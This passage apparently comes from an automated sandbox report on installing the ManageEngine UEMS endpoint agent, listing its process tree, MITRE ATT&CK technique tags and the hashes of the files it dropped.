      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5320
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1176
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:5564
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:4816
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2260
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
    bin\dcinventory.exe -i postinstallation 0 1
    3⤵
    PID:5736
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
      dcmetroapps.exe
      4⤵
      PID:5256
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc
    3⤵
    PID:5532
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
      bin\dcpatchscan.exe -y 1
      4⤵
      PID:368
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
        5⤵
        
        PID:4884
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
        5⤵
        
        PID:4824
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
        5⤵
        
        PID:2212
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
        5⤵
        
        PID:3832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
      4⤵
      Executes a command shell one-liner
      PID:4788
    - - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe
        5⤵
        Gathers system information
        
        PID:5976

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2012

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2844

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:1732
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
  CRU_Reporter.exe -RegisterCRU
  2⤵
  PID:4376
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  7 0 0
  2⤵
  PID:4564
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
  2⤵
  PID:2636
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
    3⤵
    PID:2012
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
  bin\dcstatusutil.exe RequestAgentSlotFromServer
  2⤵
  PID:3852
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
  2⤵
  PID:5940
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
  2⤵
  PID:4436
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
  2⤵
  PID:5676
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  3 0 0
  2⤵
  PID:3696
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
    16
    3⤵
    PID:5848

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"
1⤵
PID:3328
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 1
  2⤵
  PID:5908
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 2
  2⤵
  PID:5884
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 4
  2⤵
  PID:5368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5a1ded.rbs

Path C:\Config.Msi\e5a1ded.rbs
Size 63KB
SHA256 366fc12d7e8dc8c7681191dcaf82ebd965a4643b72bcb570ee00d5e035c35bad
MD5 eef45c531cfea8a5076aec5c2080a97b
SHA1 19970442b7defb54d9ef9973606a38656a5658ed
SHA512 2d72f2317d8641d1c49ec12f5013fdf9b929cebadf09282e560472f6f644ab8606a7172d67939b5e3acd6172b10a319360d9119848884d6769ef74d7964fee83
SSDEEP 768:VWvw1oOjyhMzY7yjDO+GLMt5qEwq4O2efToTR4ImBVbk:M8oGyh7UDO+0Pqcmzbk
TLSH
T157537266DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5a1df3.rbs

Path C:\Config.Msi\e5a1df3.rbs
Size 546B
SHA256 2dcce65b5c5073a00a981e9ae32a92055fe672abc4d88678733abc1b3322c150
MD5 ef1eaf55a5dff28ea86f7048c7e53549
SHA1 0dd7325c46187be2fac60fd1f32019404afb6bd7
SHA512 0d7923539d60cff13dfc31bd54002f6d1ea8c624c3656efe44bfbeb2f29b0e9563233d779a32443bf86a5949ac59d6d3fe4684985d5c09eaf8761b92c940c99a
TLSH
T1DBF00ED7E70802F1E2A16F3623032F140A2BE17E84A447352D846274AD1320A0EFF0DC
MD5 SHA1 SHA512 TLSH

Submit Download

client.p12

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
Size 1KB
SHA256 d6fd4cb9cc89d4a56af12e2095a47dba25fda7eeebd5e4b7862a5add04ab8765
MD5 73561d0c1cd8fe3fb98b17d34eb83aa3
SHA1 ffab817324851fc3a236a485df1746489074af82
SHA512 a338c1777f60f10c371d7f6ab9bd44e19cbf834572a22dd22d4e8fa24ca42fceaf3c5e82d00b94cc5ae439392c640185e9cc100e31a183c5634863fb61dea74c
TLSH
T18B218407956DA181AE75CE4429DF0829C0D0E3588FC4414FE3B969DE9E40721B91D5A3
MD5 SHA1 SHA512 TLSH

Submit Download

dc4868.tmp

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4868.tmp
Size 5KB
SHA256 b069c7ece6284b5b5b6323b31d6b6363e1411d0c1a0898fab99593fdc95667c6
MD5 26cad4438915515cd03d236b5b814438
SHA1 aae8c983fa6b78c2c5ae6e902872a686430ffbfb
SHA512 709392cb980299b359f56cca81a80afd7553b7fef85a4466bdc4eb501955db1ccfb50e0ac6acfd0e818dde65668f7bda86a3aa5a2ce760fafb2b27c043af0dc8
SSDEEP 96:TWdv4W+Ep6S4cVF6cNZcGRD8wjFbBiahjH/EAA:3UGHElZhAgjzA
TLSH
T172B13110B0A28F6813B1775C995AEA55CD1502A2360A1E09F06D39A70F3EFC27DB74F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7za.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
Size 839KB
SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
MD5 a5efe54df4f28f6d12adf840dc931b36
SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
TLSH
T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
MD5 5e3325dc85cc12d8bfee900860aad196
SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
TLSH
T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 480KB
SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
MD5 5fffcb6c5222a8c135284688da03c53a
SHA1 01d0f499a855a787ccb4164460e6d233057062bc
SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
TLSH
T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_binaries.7z

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
Size 30.3MB
SHA256 14c836e431dc0b0c2accd2217dea7bfffaaa3fa97efa9332d1a9c83eebd89125
MD5 26999168590cfd73f5fc962800d34add
SHA1 45734c3709f8c0af9b917fbe1670bb102278c4a6
SHA512 88cfcec821fbaeae62ebe10316ae65fcf784bf6dc10d8009e0b289388adf0a1810f3460175b28f0dac5054555230f2d8b8d6045fd90a376bf996942e4c360b76
SSDEEP 786432:PZK2wN1mVmWY2FyQULbEINZa4avrmh4Jc6gBMlzk8hdLI:PY2wN1C1Y2GcIbaFmijgwQd
TLSH
T18A6733866B6CCCAEC0ACCDF2570683C150B3B7E2ACB9DD2553654572CC6DD6B0D890EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
MD5 df9c868eaecc31fae740c242b2683304
SHA1 08751e2c3eab82fd753bb540cdd6ba53ea34aecc
SHA512 b0bc1cc4730981a17aa4e0f94f326992120ccdc08debb25cb20dadaf5361f11294c353168ca61c42512fc2c1e5fc058029cc49f2b3a16de5e998ed933e70ec4f
SSDEEP 3072:9R7kbERpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTA/:9R7kbE5weorw3RrDpfNtnVCXkZrsaw0Z
TLSH
T185348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentservice.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
Size 1.5MB
SHA256 fc77ac12c4a368e1ef20666794a98d3bdbdc39bde9bf4f621bbda6bc5e3efd95
MD5 36135dd1fa1dd9da5a10285bf0ce9e90
SHA1 d0eeb92e9cab38344b8f9fa698de12c12fe78912
SHA512 e9ee3c239d22d4b6af1b96e068e043897490cb97d63fbdf9328c63b76877a2ef294b9fb648f867a6ab9d5e73394ab65dc0df96bb6c676be04bb7335ffe07ea87
SSDEEP 24576:S5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUt5eKI9yB5B:wJlbq4tIMgc8H1tVDryq8jqB
TLSH
T13875AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

patch-database-settings.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-database-settings.xml
Size 197B
SHA256 1acf861ddbabb4864373aa0f8e4d968dd8aab2230c4ed1761184c3f5f98b0201
MD5 8045ef96c4071df39302ec3f0080f352
SHA1 99a2f7f43ab7d0d338625e93b31969f3057719d8
SHA512 85227c49c21fb4845c5f76f9f0ff1f95b6c03e7bb2144102d47fe55ba4a77fe5191b61baccf5f687c6cac033b18cd1ee29364d0429dbf2d0c7d227ae5eaab5c5
TLSH
T194D012A83540E02F4BB49330D7BD87188366768681355B34A820C03636514D16BDBAD4
MD5 SHA1 SHA512 TLSH

Submit Download

patch-diff-scan-settings.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml
Size 371B
SHA256 5558cf23d4237c6da52baa119652f140bcfe547681d652202bd2cf0b087a5e2b
MD5 5ab510e6e4103f16ab00de84857ba6f7
SHA1 2f00c75c1680712d614e48dc986db3dae0e196a6
SHA512 f9e4684d6074289e6a350c7955cbc39333fe28b86d2a227548f918cf6526ae3aaf10b229d612ba86e02c1964cd031556a25e3419afa5e4262dd6fe6700b21e4f
TLSH
T194E0D83425888C4D1378E7C2D75CE4004C892213381F2C986062BF17167F7873D63A94
MD5 SHA1 SHA512 TLSH

Submit Download

global-meta-data.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml
Size 43KB
SHA256 7c628de253553110c405d563124841d4338323b0f344f08bcaf145a730450e8b
MD5 fe3c5fd553db42291bc6e58d37dbde60
SHA1 db85d84ff819b2abd548061aa6d28a62360d04f5
SHA512 f0d322644c921f501766b2375b417de744fe0e59e4e9bdb1894573df283a04b946b3977f12e60a11736d026b63b735af2d44f72227d598057d267b8fd13b7e7c
SSDEEP 768:NA3uE6knxy2j44NV8xlZe4yyFSDdsUOe+MZH+hsrx+L7z8TQVrAcuyjN:NA3uE6+NzNV8xlZe4yyFSDdsUOe+MZHC
TLSH
T16A1340E637C21A160561F0CE87FD4E8152B7FBDF892A1BC831A069B5931B6F73A47601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

office-ctr-settings.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\office-ctr-settings.xml
Size 18KB
SHA256 71814a91891b9d5aaf4a91048cf604e07f9bd1420577c5e5e368274a3043d7e4
MD5 b47d0e44c6d16a6c122a786602d6a309
SHA1 4243c62f5d586ab00df50207e3da5527bc2f164f
SHA512 de34df7936bd6ca6e665830e8cd91a50c2c92dff129d2e54965e3bf83f312db2527b11f171a3cb356ee02a4191ead2098ce88cb9c003ea09df5b11cca4a0e6b3
SSDEEP 384:c4T/2HUgo3k4eChKoSrnglWZCOysSc4s5kp2:c47uz4eCkoSrfZv4s5kI
TLSH
T19C826741EE76E45DB3AB0227AB95EC09987A86C294045C13FBB77E350AD33875AE3314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcdriverupdates.dll.gz

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz
Size 368KB
SHA256 f9f0361b337910fbbf67254fe26274cae2674aa0c420a62ee4855db39777cf98
MD5 e2a8cc459235db5a774ce17026e04fbb
SHA1 46b3c2d919c5bfd2ba149ff5cf0b68827f925973
SHA512 d0ebdb3509ef18ac3ff5206a5aa2d2080107164d0adb42e10edc14600fc3a5f25f9997e5a6dd2fd96eece4958aca5d48639a280be290505b6efe26eb6d3edfe3
SSDEEP 6144:w6+UasNeoGlbXmR7PW1aMADHgKWIcQlH02WK/+wX4V9+YGqswg:MrvXCiUb3lxWQ+u4vCmg
TLSH
T13484237EC17664A83B974630F8DE48129CCEF2720CF1C55A5B9CBA89458EC355A07C9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcpatchutils.dll.gz

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcpatchutils.dll.gz
Size 650KB
SHA256 07ac9c4710ae3bba75c12a54c2030c126c525f1aa114270b2f994fe2fd191b5c
MD5 22a61bbda87d70ecde32173ebe1723bf
SHA1 1bdb9903960048bbe16302061c6ae82c5133c7d5
SHA512 81d688be181ca060a094e8d41241d69a9465014e6a28521c90f1fdb7396ce5cdc16fdd2507273d17fcb59dd60f091bf64754a20bf03080b19a2c02ae7f0c3862
SSDEEP 12288:5aCu3UMcIoPA9Kj1LduKAcQv75Fp1GRWXV02qx4gHqUPMbSyUv:4CuklMaxuxc49Fp2i02ZgKUPrx
TLSH
T1A0E42349EF02A9E3974DEA7DBC0E54B5CE90A1B0AE9E04109D91FB3BE9E31D61C13117
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
Size 28KB
SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
MD5 91825b38605d333662195bd3b42c869c
SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
TLSH
T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json.gz

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz
Size 2KB
SHA256 5261b3e69078e902b1de05968785674565757a2fe8233b3d892e7b796ca6a537
MD5 2420f77785bfd564950ed284dd4c5caa
SHA1 77c995053109d0222a4d84a2a934df3a7376c8a2
SHA512 827e27d8a0cedc6d1a492bc5fd9d519e1df714f4e3aad854972fd41fe48a5e08c3c6659cab7e2497b068c50c1d0ea4f3584c9ce2dd1a75f6a86bf23b1a8767f8
TLSH
T191515C122CE87E5B3441C60775C2BCF59CD7876820DD698D946C6F0853936773B71C86
MD5 SHA1 SHA512 TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
Size 15KB
SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
MD5 cf5799838289c42502297f17ca89b49b
SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
TLSH
T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

configuration-settings-dc-win10.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
Size 247KB
SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
MD5 ff5c89c88fe59a341aa4fe80b6f58215
SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
TLSH
T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

customer-meta-data.json4576.tmp

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json4576.tmp
Size 5KB
SHA256 e1b71725ab65515706ba6e50d0a99ddbcee4f1eeab06ee426fb414bee1e454a1
MD5 fc676d6174b600eb8d3cba933b79d16a
SHA1 2b8cd1f01dfaf63e87cd85c6c9771901a9051930
SHA512 3124c4c3c829d1c01bf8f5a0ee5e9ab1b837a14e42a511330f05186019cb597125ffe494061036b19c69d47c2f628f5fa8da4581466f8e5ffe248a93d7d49890
SSDEEP 48:YM8ogiQsvAZv56hP8ewRDwuNbB7Io07Kb7K2jZjiwZ1yrtt36Mb3pcSHc9cktqfR:6ogiQsvAZv56hEewRDwuN9hETU3H0
TLSH
T10DC1C4D4B1AF4CFD46C6F54A4D4DC46EBAA6F522F4E94C0C3689FC48CECA069B392424
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-framework.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
Size 413KB
SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
MD5 a450789f0d23503c895bafaed3d4be27
SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
TLSH
T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-onpremise.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
Size 109KB
SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
MD5 b39316c180a11c7cbefd08019ad9c97d
SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
TLSH
T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
Size 1.6MB
SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
MD5 ac79e017281cd633fb90c06a19a180fc
SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
TLSH
T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ds-server-infoV2.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ds-server-infoV2.xml
Size 793B
SHA256 d66d79090ad0855c2f8bb7972d111f152601484c8cf7d866b21b7e218f6e9a54
MD5 373213fa17c20ac28adcb6f135d1c47c
SHA1 b4a92e5bbbb38f18a498a00e58e5f6fc448722c2
SHA512 d32fa968ec2a12a4ae081ebeeaa7a577ea0060ce45559cae4bbd693cb14de198e13af51fa565a979cbaeeb6d11951a058fe1c99bee848383fa7040a78f0ba090
TLSH
T1A1017112B843DDE92362BB84278D881A9E542426711F2C607155BE958A3EFE31C7347B
MD5 SHA1 SHA512 TLSH

Submit Download

meta-data.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml
Size 6KB
SHA256 2bedd6f78eaa800396cacf3bb86d67c54a30cc45af9c70eb14db7f65cb0d50da
MD5 260e1982cd6781e77f17c5c33433287f
SHA1 6b264b6e4f40ad9856ca93810f636ec52735e4e7
SHA512 33cecab652898f80e461e0e3823fae427216489f51277f30a14e5fde9dbff174c4fb7217943975b667920ea47e9ddd7ad6a69d957e9d7c1cb0a04ffd2183e97c
SSDEEP 192:9U/UEUcUKUvUEURUwuUQUrAU2UzU2UZU+UdUoUMUAU4U7UHUlUHULUrUCUEU5/U4:9k9hNG9m6N+AneB696HDzn+MkiuSHVKV
TLSH
T193D17B602BCA9CF81594FA085F4CD820F9B5F61721AD501535E9BC484EFB8D73EB216A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

on_demand_connection_config.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\on_demand_connection_config.json
Size 651B
SHA256 4f61d56afe70c3ce25a61e3e17873df2c9c518425c63d1d61fb494c8c92f6e70
MD5 725087d70a8e693d7613500887dd3d1f
SHA1 ae8bcf03c0bba4f3db64c5dae1913350deebe196
SHA512 555ea098dbe490c214340e99635223bfbfc86a6a13064284cf8df4f1c7f77261d84f2b32dd9ac8177b01547b1be1c093401df069d652d2b7ff971ce2dc5cd119
TLSH
